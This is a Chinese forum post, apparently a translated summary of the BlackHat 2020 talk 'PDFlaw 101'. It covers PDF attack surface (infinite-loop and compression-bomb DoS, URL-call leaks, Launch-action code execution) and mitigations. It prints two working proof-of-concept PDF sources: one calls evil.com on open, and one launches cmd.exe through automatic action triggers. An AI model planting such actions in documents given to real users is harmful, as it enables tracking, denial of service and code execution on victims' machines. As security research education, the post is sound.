-
-
[翻译]【BlackHat】PDFlaw 101
-
发表于: 2025-5-4 23:06 1157
-
BlackHat2020标题:
PDFlaw 101
视频:
94aK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2T1K9h3I4A6j5X3W2D9K9g2)9J5k6h3y4G2L8g2)9J5c8Y4k6A6k6r3g2G2i4K6u0r3b7W2j5I4h3r3A6K9M7W2W2^5c8i4c8$3
该议题由RUB-NDS分享,从PDF标准出发,涵盖了pdf文件的攻击面,讨论PDF标准中存在的缺陷,可以归类于pdf逻辑漏洞。
1. PDF基础
pdf文件本质上是纯文本形式的,下图展示一个pdf文件的文本组成,它在reader上会显示hello world。从逻辑组成上来讲,pdf 1.7包括四个基本组成部分:header,body,xref table和trailer。所以pdf的处理过程事实上是自底向上的。
1.1PDF相关安全研究
针对pdf加密进行攻击:
2019年,Mueller发表论文“Practical Decryption exFiltration: Breaking PDF Encryption”,采用直接泄露、CBC gadget两种攻击模型对加密的pdf进行攻击,取得不错的效果。
针对pdf签名进行攻击:
同年,Mladenov发表论文“1 Trillion Dollar Refund– How To Spoof PDF Signatures”,以pdf签名机制作为切入点,研究了pdf签名的伪造方法。令人惊讶的是,只要可以访问加密pdf,任何人都可以篡改内容并重新签名。
除此之外,还有针对pdf修订、元数据和混合类型等方面的研究。议题跳出pdf业务安全的范畴,针对pdf标准中可以导致DoS、信息泄露和RCE的危险特性进行研究。
1.2PDF特性
议题聚焦于不安全的特性,通过测试pdf标准的所有组成,可以发现pdf的多种不安全action,比如:外部链接URL、javascript支持、事件触发的多种action等等。
上图展示了pdf标准(第六版)的主要组成元素,这些元素是议题研究的重点,将会在每个章节被提到。
1.3PDF攻击模型
在现实中,pdf的攻击场景很简单,只需要受害者打开恶意的pdf。
- 受害者打开恶意pdf,从不受信任的源获取,比如网络下载,邮件附件。
- 恶意攻击实施。
- 无需用户交互。
2.DoS攻击
2.1无限循环
根据pdf标准,可以创造无限循环,消耗CPU资源。首先,page对象的定义中,kids索引可以是page对象,或者其他page节点,那么如果索引自己,就会生成一个引用环,这在pdf解析时是符合标准的。该逻辑漏洞分配了编号CVE-2007-0104。
这种自引用或者递归手法,可以导致无限循环的产生,令人惊讶的是,标准中有相当多的变种:
- pdf action允许/Next指定下一个执行的action,这样就可以构造action的引用环。
- pdf 对象流允许/Extend指定自己作为扩展对象。
- outline条目可以引用自身。
- PS/Type 4计算器函数,允许定义一个递归的函数。
- js简单粗暴,可以直接写一个无限循环。
2.2压缩炸弹
构造无限循环,可以消耗CPU资源,那么构造压缩炸弹可以消耗内存资源。说到压缩炸弹,最有名的当属zip炸弹,最早的压缩炸弹应用,可以追溯到1997年。
在pdf标准中,流可以被压缩,通常默认使用deflate算法对流进行压缩。解析时必定要解压流,来显示内容,这就给了构造pdf压缩炸弹的机会。如果直接使用10GB字符串作炸弹,只能占用10GB内存,效率为1;如果使用deflate压缩算法,一次压缩可以达到1024的效率,多次压缩可以达到指数型增长。
3.信息泄露
URL调用可以导致CSRF攻击,最早的报告来自BlackHat2008,使用/OpenAction事件触发Adobe Reader的URL调用,很快被大部分Reader禁止。
那么可以考虑通过其他事件来触发,比如在firefox中,可以使用/Link调用Launch action实现相同的效果,由于firefox对URL的预处理,打开pdf文件即可触发URL调用。
公开的PoC(5d1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6d9g2f1u0Q4x3X3c8z5c8q4y4Q4x3V1k6b7c8p5j5I4x3o6q4Q4c8f1k6Q4b7V1y4Q4z5o6W2Q4c8f1k6Q4b7V1y4Q4z5f1p5`.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 | % PDF - 1.7 1 0 obj << / Type / Catalog / Pages 2 0 R >> endobj 2 0 obj << / Type / Pages / Kids [ 3 0 R] / Count 1 / MediaBox [ 0 0 595 842 ] >> endobj 3 0 obj << / Type / Page / Parent 2 0 R / Resources << / Font << / F1 << / Type / Font / Subtype / Type1 / BaseFont / Courier >> >> >> / Annots [<< / Type / Annot / Subtype / Link / Open true / A 5 0 R / H / N / Rect [ 0 0 595 842 ] >>] / Contents [ 4 0 R] >> endobj 4 0 obj << / Length 67 >> stream BT / F1 22 Tf 30 800 Td (Testcase: 'uri' ) Tj ET endstream endobj 5 0 obj << / Type / Action / S / URI / URI (http: / / evil.com / 0.pdf ) ← URL调用 >> endobj xref 0 6 0000000000 65535 f 0000000010 00000 n 0000000069 00000 n 0000000170 00000 n 0000000629 00000 n 0000000749 00000 n trailer << / Root 1 0 R / Size 6 >> startxref 854 % % EOF |
4.代码执行
pdf标准定义的launch action,用法是执行一个程序,或者打开、打印一个文件,因此可以说,pdf是为代码执行而生的。
公开的PoC(b0bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6d9g2f1u0Q4x3X3c8z5c8q4y4Q4x3V1k6b7c8p5j5I4x3o6q4Q4c8f1k6Q4b7V1y4Q4z5o6W2Q4c8f1k6Q4b7V1y4Q4z5f1p5`.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 | % PDF - 1.7 1 0 obj << / Type / Catalog / Pages 2 0 R / OpenAction 5 0 R >> endobj 2 0 obj << / Type / Pages / Kids [ 3 0 R] / Count 1 / MediaBox [ 0 0 595 842 ] >> endobj 3 0 obj << / Type / Page / Parent 2 0 R / Resources << / Font << / F1 << / Type / Font / Subtype / Type1 / BaseFont / Courier >> >> >> / Annots [<< / Type / Annot / Subtype / Screen / Open true / P 3 0 R / AA << / E 5 0 R / X 5 0 R / D 5 0 R / U 5 0 R / Fo 5 0 R / BI 5 0 R / PO 5 0 R / PC 5 0 R / PV 5 0 R / PI 5 0 R >> / Rect [ 0 0 595 842 ] >> << / Type / Annot / Subtype / Link / Open true / A 5 0 R / H / N / Rect [ 0 0 595 842 ] >>] / AA << / O 5 0 R / C 5 0 R >> / Contents [ 4 0 R] >> endobj 4 0 obj << / Length 90 >> stream BT / F1 22 Tf 30 800 Td (Testcase: 'Code Execution (Launch Action)' ) Tj ET endstream endobj 5 0 obj << / Type / Action / S / Launch / F (C:\\Windows\\System32\\cmd.exe) ← 弹出cmd >> endobj xref 0 6 0000000000 65535 f 0000000010 00000 n 0000000092 00000 n 0000000193 00000 n 0000001050 00000 n 0000001192 00000 n trailer << / Root 1 0 R / Size 6 >> startxref 1289 % % EOF |
5.评估
针对28个pdf redaer进行评估,其中包括web浏览器、专业的pdf编辑器等。可以看到,普遍存在DoS攻击的风险,RCE只在个别reader中存在。
6.解决方案
- pdf标准角度,约束不合法的行为,比如自引用。
- reader角度,约束单个pdf资源,防止压缩炸弹,web浏览器通常采用沙盒,防止代码执行。
- js是头号公敌,移除或者限制它是最好的方案。
- reader角度,识别恶意路径,比如URL调用导致的CSRF。
7.结论
与其他格式文件不同,pdf格式是复杂的;标准有很多危险特性,充满了陷阱;pdf是天生的逻辑漏洞利用链。